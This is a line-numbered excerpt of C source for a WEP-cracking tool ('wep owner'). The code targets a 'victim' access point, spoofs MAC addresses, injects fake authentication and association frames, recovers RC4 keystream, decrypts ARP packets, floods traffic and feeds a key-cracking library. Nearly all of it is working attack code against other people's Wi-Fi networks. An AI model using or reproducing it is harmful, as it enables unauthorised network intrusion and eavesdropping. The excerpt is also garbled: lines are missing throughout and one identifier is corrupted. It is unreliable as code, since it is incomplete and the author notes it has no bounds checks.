2 * wep owner by sorbo <sorbox@yahoo.com>
5 * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6 * overflows. this whole thing is experimental n e way.
11 #include <sys/types.h>
12 #include <sys/socket.h>
13 #include <sys/ioctl.h>
14 #include <sys/endian.h>
19 #include <net/if_media.h>
20 #include <net/if_llc.h>
21 #include <net/if_arp.h>
22 #include <net/if_types.h>
23 #include <net/if_dl.h>
25 #include <net/ethernet.h>
26 #include <net80211/ieee80211.h>
27 #include <net80211/ieee80211_ioctl.h>
28 #include <net80211/ieee80211_radiotap.h>
29 #include <net80211/ieee80211_freebsd.h>
30 #include <netinet/in.h>
31 #include <netinet/in_systm.h>
32 #include <netinet/ip.h>
33 #include <netinet/udp.h>
34 #include <arpa/inet.h>
48 #include "aircrack-ptw-lib.h"
51 #define FOUND_VICTIM 1
52 #define SENDING_AUTH 2
55 #define SENDING_ASSOC 5
60 struct timeval arpsend;
71 struct ieee80211req ireq;
82 struct ieee80211_frame wh;
96 struct decrypt_state {
97 unsigned char* cipher;
99 struct prga_info prgainfo;
100 struct frag_state fragstate;
104 unsigned int packets;
110 #define LINKTYPE_IEEE802_11 105
111 #define TCPDUMP_MAGIC 0xA1B2C3D4
113 unsigned char* floodip = 0;
114 unsigned short floodport = 6969;
115 unsigned short floodsport = 53;
117 unsigned char* netip = 0;
121 unsigned char* rtrmac = 0;
123 unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
124 unsigned char myip[16] = "192.168.0.123";
129 PTW_attackstate *ptw;
131 unsigned char *victim_mac = 0;
133 int ack_timeout = 100*1000;
135 #define ARPLEN (8+ 8 + 20)
136 unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
137 unsigned char ip_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
138 #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
139 #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
140 #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
142 #define MCAST_PREF "\x01\x00\x5e\x00\x00"
144 #define WEP_FILE "wep.cap"
145 #define KEY_FILE "key.log"
146 #define PRGA_FILE "prga.log"
148 unsigned int min_prga = 128;
151 * When starting aircrack we try first to use a
152 * local copy, falling back to where the installed
153 * version is expected.
154 * XXX builtin pathnames
156 #define CRACK_LOCAL_CMD "../aircrack/aircrack"
157 #define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
160 int thresh_incr = INCR;
162 #define MAGIC_TTL_PAD 69
165 int wep_thresh = INCR;
167 struct timeval crack_start;
168 struct timeval real_start;
170 /* linksys does this. The hardware pads small packets. */
171 #define PADDED_ARPLEN 54
173 #define PRGA_LEN (1500-14-20-8)
174 unsigned char inet_clear[8+20+8+PRGA_LEN+4];
176 #define DICT_PATH "dict"
177 #define TAP_DEV "/dev/tap3"
178 unsigned char tapdev[16];
179 unsigned char taptx[4096];
180 unsigned int taptx_len = 0;
185 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
188 register u_short answer;
200 *((u_char *) & oddbyte) = *(u_char *) ptr;
204 sum = (sum >> 16) + (sum & 0xffff);
212 unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
213 struct in_addr *dip) {
217 tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
221 ph = (struct ippseudo*) tmp;
223 memcpy(&ph->ippseudo_src, sip, 4);
224 memcpy(&ph->ippseudo_dst, dip, 4);
225 ph->ippseudo_pad = 0;
226 ph->ippseudo_p = IPPROTO_UDP;
227 ph->ippseudo_len = htons(len);
229 memcpy(tmp + sizeof(struct ippseudo), stuff, len);
231 return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
234 void time_print(char* fmt, ...) {
241 vsnprintf(lame, sizeof(lame), fmt, ap);
246 if (tt == (time_t)-1) {
253 perror("localtime()");
257 printf("[%.2d:%.2d:%.2d] %s",
258 t->tm_hour, t->tm_min, t->tm_sec, lame);
267 fd = open(KEY_FILE, O_RDONLY);
273 rd = read(fd, buf, sizeof(buf) -1);
284 time_print("KEY=(%s)\n", buf);
286 if (gettimeofday(&now, NULL) == -1) {
287 perror("gettimeofday()");
291 printf ("Owned in %.02f minutes\n",
292 ((double) now.tv_sec - real_start.tv_sec)/60.0);
301 time_print("Stopping crack PID=%d\n", crack_pid);
303 // XXX doesn't return -1 for some reason! [maybe on my box... so it
304 // might be buggy on other boxes...]
305 if (kill(crack_pid, SIGINT) == -1) {
315 void cleanup(int x) {
316 time_print("\nDying...\n");
326 void set_chan(int c) {
327 if (c == chaninfo.chan)
330 chaninfo.ireq.i_val = c;
332 if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
333 perror("ioctl(SIOCS80211) [chan]");
339 void set_if_mac(unsigned char* mac, unsigned char *name) {
343 s = socket(PF_INET, SOCK_DGRAM, 0);
349 memset(&ifr, 0, sizeof(ifr));
350 strcpy(ifr.ifr_name, name);
352 ifr.ifr_addr.sa_family = AF_LINK;
353 ifr.ifr_addr.sa_len = 6;
354 memcpy(ifr.ifr_addr.sa_data, mac, 6);
356 if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
357 perror("ioctl(SIOCSIFLLADDR)");
364 void setup_if(char *dev) {
368 struct ifmediareq ifmr;
371 if(strlen(dev) >= IFNAMSIZ) {
372 time_print("Interface name too long...\n");
376 time_print("Setting up %s... ", dev);
379 set_if_mac(mymac, dev);
381 s = socket(PF_INET, SOCK_DGRAM, 0);
388 memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
389 strcpy(chaninfo.ireq.i_name, dev);
390 chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
396 // set iface up and promisc
397 memset(&ifr, 0, sizeof(ifr));
398 strcpy(ifr.ifr_name, dev);
399 if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
400 perror("ioctl(SIOCGIFFLAGS)");
404 flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
405 flags |= IFF_UP | IFF_PPROMISC;
407 memset(&ifr, 0, sizeof(ifr));
408 strcpy(ifr.ifr_name, dev);
409 ifr.ifr_flags = flags & 0xffff;
410 ifr.ifr_flagshigh = flags >> 16;
411 if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
412 perror("ioctl(SIOCSIFFLAGS)");
419 int open_bpf(char *dev, int dlt) {
425 for(i = 0;i < 16; i++) {
426 sprintf(buf, "/dev/bpf%d", i);
428 fd = open(buf, O_RDWR);
431 perror("can't open /dev/bpf");
441 perror("can't open /dev/bpf");
445 strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
446 ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
448 if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
449 perror("ioctl(BIOCSETIF)");
453 if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
454 perror("ioctl(BIOCSDLT)");
459 if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
460 perror("ioctl(BIOCIMMEDIATE)");
467 void hexdump(unsigned char *ptr, int len) {
469 printf("%.2X ", *ptr);
475 char* mac2str(unsigned char* mac) {
476 static char ret[6*3];
478 sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
479 mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
484 void inject(int fd, void *buf, int len)
486 static struct ieee80211_bpf_params params = {
487 .ibp_vers = IEEE80211_BPF_VERSION,
488 /* NB: no need to pass series 2-4 rate+try */
489 .ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
490 .ibp_rate0 = 2, /* 1 MB/s XXX */
491 .ibp_try0 = 1, /* no retransmits */
492 .ibp_flags = IEEE80211_BPF_NOACK,
493 .ibp_power = 100, /* nominal max */
494 .ibp_pri = WME_AC_VO, /* high priority */
499 iov[0].iov_base = ¶ms;
500 iov[0].iov_len = params.ibp_len;
501 iov[1].iov_base = buf;
502 iov[1].iov_len = len;
503 rc = writev(fd, iov, 2);
508 if (rc != (len + iov[0].iov_len)) {
509 time_print("Error Wrote %d out of %d\n", rc,
515 void send_frame(int tx, unsigned char* buf, int len) {
516 static unsigned char* lame = 0;
517 static int lamelen = 0;
518 static int lastlen = 0;
524 if (txstate.retries > 10) {
525 time_print("ERROR Max retransmists for (%d bytes):\n",
527 hexdump(&lame[0], lastlen);
531 // printf("Warning doing a retransmit...\n");
535 assert(!txstate.waiting_ack);
541 lame = (unsigned char*) malloc(len);
550 memcpy(lame, buf, len);
555 inject(tx, lame, len);
557 txstate.waiting_ack = 1;
559 if (gettimeofday(&txstate.tsent, NULL) == -1) {
560 perror("gettimeofday()");
565 printf("Wrote frame at %lu.%lu\n",
566 txstate.tsent.tv_sec, txstate.tsent.tv_usec);
570 unsigned short fnseq(unsigned short fn, unsigned short seq) {
571 unsigned short r = 0;
574 time_print("too many fragments (%d)\n", fn);
580 r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
585 void fill_basic(struct ieee80211_frame* wh) {
588 memcpy(wh->i_addr1, victim.bss, 6);
589 memcpy(wh->i_addr2, mymac, 6);
590 memcpy(wh->i_addr3, victim.bss, 6);
594 sp = (unsigned short*) wh->i_seq;
595 *sp = fnseq(0, txstate.psent);
597 sp = (unsigned short*) wh->i_dur;
598 *sp = htole16(32767);
601 void send_assoc(int tx) {
602 unsigned char buf[128];
603 struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
607 memset(buf, 0, sizeof(buf));
609 wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
611 body = (unsigned char*) wh + sizeof(*wh);
612 *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
618 ssidlen = strlen(victim.ssid);
620 memcpy(body, victim.ssid, ssidlen);
631 send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
632 strlen(victim.ssid) + 2 + 4);
635 void wepify(unsigned char* body, int dlen) {
640 assert(dlen + 4 <= prgainfo.len);
643 memcpy(body, prgainfo.iv, 3);
648 crc = crc32(0L, Z_NULL, 0);
649 crc = crc32(crc, body, dlen);
650 pcrc = (unsigned long*) (body+dlen);
653 for (i = 0; i < dlen +4; i++)
654 *body++ ^= prgainfo.prga[i];
657 void send_auth(int tx) {
658 unsigned char buf[128];
659 struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
662 memset(buf, 0, sizeof(buf));
664 wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
666 n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
670 send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
673 int get_victim_ssid(struct ieee80211_frame* wh, int len) {
676 int gots = 0, gotc = 0;
678 if (len <= sizeof(*wh)) {
679 time_print("Warning: short packet in get_victim_ssid()\n");
683 ptr = (unsigned char*)wh + sizeof(*wh);
687 if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
691 // we want a specific victim
693 if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
700 time_print("Warning short.asdfasdf\n");
718 time_print("Warning short....\n");
727 victim.ssid = (char*) malloc(elen + 1);
733 memcpy(victim.ssid, ptr, elen);
734 victim.ssid[elen] = 0;
741 time_print("Warning len of chan not 1\n");
754 memcpy(victim.bss, wh->i_addr3, 6);
755 set_chan(victim.chan);
756 state = FOUND_VICTIM;
757 time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
758 victim.ssid, mac2str(victim.bss), victim.chan);
764 void send_ack(int tx) {
768 void do_llc(unsigned char* buf, unsigned short type) {
769 struct llc* h = (struct llc*) buf;
771 memset(h, 0, sizeof(*h));
772 h->llc_dsap = LLC_SNAP_LSAP;
773 h->llc_ssap = LLC_SNAP_LSAP;
774 h->llc_un.type_snap.control = 3;
775 h->llc_un.type_snap.ether_type = htons(type);
778 void calculate_inet_clear() {
785 memset(inet_clear, 0, sizeof(inet_clear));
787 do_llc(inet_clear, ETHERTYPE_IP);
789 ih = (struct ip*) &inet_clear[8];
793 ih->ip_len = htons(20+8+PRGA_LEN);
794 ih->ip_id = htons(666);
796 ih->ip_ttl = ttl_val;
797 ih->ip_p = IPPROTO_UDP;
799 inet_aton(floodip, &ih->ip_src);
800 inet_aton(myip, &ih->ip_dst);
801 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
803 uh = (struct udphdr*) ((char*)ih + 20);
804 uh->uh_sport = htons(floodport);
805 uh->uh_dport = htons(floodsport);
806 uh->uh_ulen = htons(8+PRGA_LEN);
808 uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
809 &ih->ip_src, &ih->ip_dst);
812 dlen = 8 + 20 + 8 + PRGA_LEN;
813 assert (dlen + 4 <= sizeof(inet_clear));
815 crc = crc32(0L, Z_NULL, 0);
816 crc = crc32(crc, inet_clear, dlen);
817 pcrc = (unsigned long*) (inet_clear+dlen);
821 printf("INET %d\n", sizeof(inet_clear));
822 hexdump(inet_clear, sizeof(inet_clear));
826 void set_prga(unsigned char* iv, unsigned char* cipher,
827 unsigned char* clear, int len) {
832 if (prgainfo.len != 0)
835 prgainfo.prga = (unsigned char*) malloc(len);
836 if (!prgainfo.prga) {
842 memcpy(prgainfo.iv, iv, 3);
844 for (i = 0; i < len; i++) {
845 prgainfo.prga[i] = ( cipher ? (clear[i] ^ cipher[i]) :
849 time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
850 prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
851 hexdump(prgainfo.prga, prgainfo.len);
856 fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
857 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
864 i = write(fd, prgainfo.iv, 3);
870 printf("Wrote %d out of %d\n", i, 3);
874 i = write(fd, prgainfo.prga, prgainfo.len);
879 if (i != prgainfo.len) {
880 printf("Wrote %d out of %d\n", i, prgainfo.len);
888 void log_dictionary(unsigned char* body, int len) {
892 unsigned char path[128];
893 unsigned char file_clear[sizeof(inet_clear)];
896 len -= 4; // IV etc..
897 assert (len == sizeof(inet_clear));
901 if (len > prgainfo.len)
902 set_prga(body, data, inet_clear, len);
905 for (i = 0; i < 3; i++)
906 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
909 strcpy(path, DICT_PATH);
913 for (i = 0; i < 2; i++) {
915 strcat(path, paths[i]);
916 fd = open(path, O_RDONLY);
918 if (errno != ENOENT) {
923 if (mkdir(path, 0755) == -1) {
934 strcat(path, paths[2]);
936 fd = open(path, O_RDWR);
937 // already exists... see if we are consistent...
939 rd = read(fd, file_clear, sizeof(file_clear));
946 // check consistency....
947 for (i = 0; i < rd; i++) {
949 (data[i] ^ inet_clear[i])) {
951 printf("Mismatch in byte %d for:\n", i);
952 hexdump(body, len+4);
958 if (i >= sizeof(inet_clear)) {
960 time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
961 body[0], body[1], body[2]);
967 // file has less... fd still open
970 fd = open(path, O_WRONLY | O_CREAT, 0644);
972 printf("Can't open (%s): %s\n", path,
978 assert (sizeof(file_clear) >= sizeof(inet_clear));
980 for(i = 0; i < len; i++)
981 file_clear[i] = data[i] ^ inet_clear[i];
983 rd = write(fd, file_clear, len);
989 printf("Wrote %d of %d\n", rd, len);
995 void stuff_for_us(struct ieee80211_frame* wh, int len) {
999 type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1000 stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1002 body = (unsigned char*) wh + sizeof(*wh);
1005 if (type == IEEE80211_FC0_TYPE_CTL) {
1006 if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1007 txstate.waiting_ack = 0;
1011 if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1015 if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1018 time_print ("got CTL=%x\n", stype);
1023 if (type == IEEE80211_FC0_TYPE_MGT) {
1024 if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1025 unsigned short* rc = (unsigned short*) body;
1027 time_print("Got deauth=%u\n", le16toh(*rc));
1028 state = FOUND_VICTIM;
1032 else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1033 unsigned short* sc = (unsigned short*) body;
1036 time_print("Warning got auth algo=%x\n", *sc);
1043 time_print("Warning got auth seq=%x\n", *sc);
1050 time_print("Auth rejected... trying to spoof mac.\n");
1054 else if (*sc == 0) {
1055 time_print("Authenticated\n");
1060 time_print("Got auth %x\n", *sc);
1064 else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1065 unsigned short* sc = (unsigned short*) body;
1070 unsigned int aid = le16toh(*sc) & 0x3FFF;
1071 time_print("Associated (ID=%x)\n", aid);
1074 } else if (*sc == 12) {
1075 time_print("Assoc rejected..."
1076 " trying to spoof mac.\n");
1080 time_print("got assoc %x\n", *sc);
1083 } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1087 time_print("\nGOT MAN=%x\n", stype);
1091 if (type == IEEE80211_FC0_TYPE_DATA &&
1092 stype == IEEE80211_FC0_SUBTYPE_DATA) {
1094 dlen = len - sizeof(*wh) - 4 -4;
1096 if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
1097 time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1098 mac2str(wh->i_addr2), dlen, stype);
1102 assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
1104 if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1105 rtrmac = (unsigned char *) malloc(6);
1111 assert( rtrmac > (unsigned char*) 1);
1113 memcpy (rtrmac, wh->i_addr3, 6);
1114 time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1119 // check if its a TTL update from dictionary stuff
1120 if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1121 dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1122 int ttl_delta, new_ttl;
1124 ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1125 new_ttl = 128 - ttl_delta;
1127 if (ttl_val && new_ttl != ttl_val) {
1128 time_print("oops. ttl changed from %d to %d\n",
1136 time_print("Got TTL of %d\n", ttl_val);
1137 calculate_inet_clear();
1141 // check if its dictionary data
1142 if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1143 log_dictionary(body, len - sizeof(*wh));
1149 printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1150 type, stype, mac2str(wh->i_addr2), len);
1154 void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1155 unsigned char* body;
1157 unsigned char clear[36];
1162 body = (unsigned char*) wh+sizeof(*wh);
1165 // calculate clear-text
1166 memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1167 ptr += sizeof(arp_clear) -1;
1169 h = (struct arphdr*)ptr;
1170 h->ar_hrd = htons(ARPHRD_ETHER);
1171 h->ar_pro = htons(ETHERTYPE_IP);
1174 h->ar_op = htons(ARPOP_REQUEST);
1177 memcpy(ptr, wh->i_addr3, 6);
1179 bodylen = rd - sizeof(*wh) - 4 - 4;
1180 decryptstate.clen = bodylen;
1181 decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1182 if (!decryptstate.cipher) {
1186 decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1187 if (!decryptstate.prgainfo.prga) {
1193 memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1194 memcpy(decryptstate.prgainfo.iv, body, 3);
1196 memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1197 for(i = 0; i < (8+8+6); i++) {
1198 decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1202 decryptstate.prgainfo.len = i;
1203 time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1206 void log_wep(struct ieee80211_frame* wh, int len) {
1208 struct pcap_pkthdr pkh;
1210 unsigned char *body = (unsigned char*) (wh+1);
1212 memset(&pkh, 0, sizeof(pkh));
1213 pkh.caplen = pkh.len = len;
1214 if (gettimeofday(&tv, NULL) == -1)
1215 err(1, "gettimeofday()");
1217 if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1220 rd = write(weplog.fd, wh, len);
1227 time_print("short write %d out of %d\n", rd, len);
1232 if (fsync(weplog.fd) == -1) {
1238 memcpy(weplog.iv, body, 3);
1242 void try_dictionary(struct ieee80211_frame* wh, int len) {
1243 unsigned char *body;
1248 unsigned char packet[4096];
1250 struct ether_header* eh;
1252 unsigned long *pcrc;
1253 unsigned char* dmac, *smac;
1255 assert (len < sizeof(packet) + sizeof(*eh));
1257 body = (unsigned char*) wh + sizeof(*wh);
1259 for (i = 0; i < 3; i++)
1260 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1262 sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1264 fd = open(path, O_RDONLY);
1268 rd = read(fd, &packet[6], sizeof(packet)-6);
1276 dlen = len - sizeof(*wh) - 4;
1279 time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1285 for (i = 0; i < dlen; i++)
1286 packet[6+i] ^= body[i];
1289 crc = crc32(0L, Z_NULL, 0);
1290 crc = crc32(crc, &packet[6], dlen);
1291 pcrc = (unsigned long*) (&packet[6+dlen]);
1295 time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1300 // fill ethernet header
1301 eh = (struct ether_header*) packet;
1302 if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1307 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1312 memcpy(eh->ether_dhost, dmac, 6);
1313 memcpy(eh->ether_shost, smac, 6);
1314 // ether type should be there from llc
1317 dlen += sizeof(*eh);
1321 time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1322 hexdump(packet, dlen);
1325 rd = write(tapfd, packet, dlen);
1331 printf("Wrote %d / %d\n", rd, dlen);
1336 int is_arp(struct ieee80211_frame *wh, int len)
1338 int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1340 if (len == arpsize || len == 54)
1346 void *get_sa(struct ieee80211_frame *wh)
1348 if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1354 void *get_da(struct ieee80211_frame *wh)
1356 if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1362 int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1364 unsigned char *ptr = clear;
1367 if (!is_arp(wh, len)) {
1368 unsigned short iplen = htons(len - 8);
1370 // printf("Assuming IP %d\n", len);
1372 len = sizeof(S_LLC_SNAP_IP) - 1;
1373 memcpy(ptr, S_LLC_SNAP_IP, len);
1377 memcpy(ptr, "\x45\x00", len);
1380 memcpy(ptr, &iplen, len);
1383 len = ptr - ((unsigned char*)clear);
1386 // printf("Assuming ARP %d\n", len);
1389 len = sizeof(S_LLC_SNAP_ARP) - 1;
1390 memcpy(ptr, S_LLC_SNAP_ARP, len);
1395 memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1400 if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1401 memcpy(ptr, "\x00\x01", len);
1403 memcpy(ptr, "\x00\x02", len);
1408 memcpy(ptr, get_sa(wh), len);
1411 len = ptr - ((unsigned char*)clear);
1415 void add_keystream(struct ieee80211_frame* wh, int rd)
1417 unsigned char clear[1024];
1418 int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1420 unsigned char *body = (unsigned char*) (wh+1);
1423 clearsize = known_clear(clear, wh, dlen);
1427 for (i = 0; i < 16; i++)
1428 clear[i] ^= body[4+i];
1430 PTW_addsession(ptw, body, clear);
1433 void got_wep(struct ieee80211_frame* wh, int rd) {
1436 unsigned char clear[1024];
1438 unsigned char *body;
1440 bodylen = rd - sizeof(struct ieee80211_frame);
1442 dlen = bodylen - 4 - 4;
1443 body = (unsigned char*) wh + sizeof(*wh);
1446 // log it if its stuff not from us...
1447 if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1448 ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1449 memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1452 time_print("Key index=%x!!\n", body[3]);
1456 add_keystream(wh, rd);
1458 // try to decrypt too
1459 try_dictionary(wh, rd);
1462 // look for arp-request packets... so we can decrypt em
1463 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1464 (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1465 (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1466 (dlen == 36 || dlen == PADDED_ARPLEN) &&
1467 !decryptstate.cipher &&
1469 decrypt_arpreq(wh, rd);
1472 // we have prga... check if its our stuff being relayed...
1473 if (prgainfo.len != 0) {
1475 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1476 (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1477 (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1478 dlen == fragstate.len) {
1480 // printf("I fink AP relayed it...\n");
1481 set_prga(body, &body[4], fragstate.data, dlen);
1482 free(fragstate.data);
1484 fragstate.waiting_relay = 0;
1487 // see if we get the multicast stuff of when decrypting
1488 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1489 (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1490 (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1493 unsigned char pr = wh->i_addr1[5];
1496 time_print("Got clear-text byte: %d\n",
1497 decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1499 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1500 decryptstate.prgainfo.len++;
1501 decryptstate.fragstate.waiting_relay = 1;
1503 // ok we got the ip...
1504 if (decryptstate.prgainfo.len == 26+1) {
1505 unsigned char ip[4];
1507 struct in_addr *in = (struct in_addr*) ip;
1510 for (i = 0; i < 4; i++)
1511 ip[i] = decryptstate.cipher[8+8+6+i] ^
1512 decryptstate.prgainfo.prga[8+8+6+i];
1515 netip = (unsigned char*) malloc(16);
1521 memset(netip, 0, 16);
1522 strcpy(netip, inet_ntoa(*in));
1524 time_print("Got IP=(%s)\n", netip);
1525 strcpy(myip, netip);
1527 ptr = strchr(myip, '.');
1529 ptr = strchr(ptr+1, '.');
1531 ptr = strchr(ptr+1, '.');
1533 strcpy(ptr+1,"123");
1535 time_print("My IP=(%s)\n", myip);
1538 free(decryptstate.prgainfo.prga);
1539 free(decryptstate.cipher);
1540 memset(&decryptstate, 0, sizeof(decryptstate));
1546 clearsize = known_clear(clear, wh, dlen);
1547 time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1549 set_prga(body, &body[4], clear, clearsize);
1552 void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1555 type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1556 stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1558 if (type == IEEE80211_FC0_TYPE_DATA &&
1559 stype == IEEE80211_FC0_SUBTYPE_DATA) {
1560 int dlen = rd - sizeof(struct ieee80211_frame);
1562 if (state == SPOOF_MAC) {
1563 unsigned char mac[6];
1564 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1565 memcpy(mac, wh->i_addr3, 6);
1566 } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1567 memcpy(mac, wh->i_addr1, 6);
1570 if (mac[0] == 0xff || mac[0] == 0x1)
1573 memcpy(mymac, mac, 6);
1574 time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1575 state = FOUND_VICTIM;
1580 if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
1586 void anal(unsigned char* buf, int rd, int tx) { // yze
1587 struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1589 static int lastseq = -1;
1591 unsigned short *seqptr;
1595 time_print("rd=%d\n", rd);
1599 type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1600 stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1603 if (state >= FOUND_VICTIM) {
1605 if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1607 if (type != IEEE80211_FC0_TYPE_CTL)
1612 // XXX i know it aint great...
1613 seqptr = (unsigned short*) wh->i_seq;
1614 seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1615 if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1616 type != IEEE80211_FC0_TYPE_CTL) {
1617 // printf("Ignoring dup packet... seq=%d\n", seq);
1623 if (type == IEEE80211_FC0_TYPE_MGT) {
1624 if(state == FIND_VICTIM) {
1625 if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1626 stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1628 if (get_victim_ssid(wh, rd)) {
1636 if (state >= FOUND_VICTIM) {
1639 stuff_for_us(wh, rd);
1642 // stuff in network [even for us]
1643 if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1644 (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1646 ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1647 (memcmp(victim.bss, wh->i_addr2, 6) == 0))
